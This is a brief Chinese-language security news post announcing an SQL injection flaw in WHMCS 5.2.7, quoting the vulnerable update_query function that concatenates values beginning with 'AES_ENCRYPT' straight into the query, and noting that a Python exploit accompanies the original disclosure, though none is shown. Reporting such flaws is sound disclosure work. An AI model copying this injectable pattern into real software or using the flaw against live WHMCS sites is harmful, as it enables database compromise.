Whmcs 5.2.7爆SQL注入漏洞

localhost.re大牛在爆solusvm漏洞后沉寂了几个月又爆出了whmcs的SQL注入漏洞。
每篇文章还是依旧带一张搞笑得gif图片

漏洞文件 /includes/dbfunctions.php:

<?php
function update_query($table, $array, $where) {
    #[...]
    if (substr($value, 0, 11) == 'AES_ENCRYPT') {
        $query .= $value.',';
        continue;
    }
    #[...]
    $result = mysql_query($query, $whmcsmysql);
 }
?>

另外还附带了Python的EXP
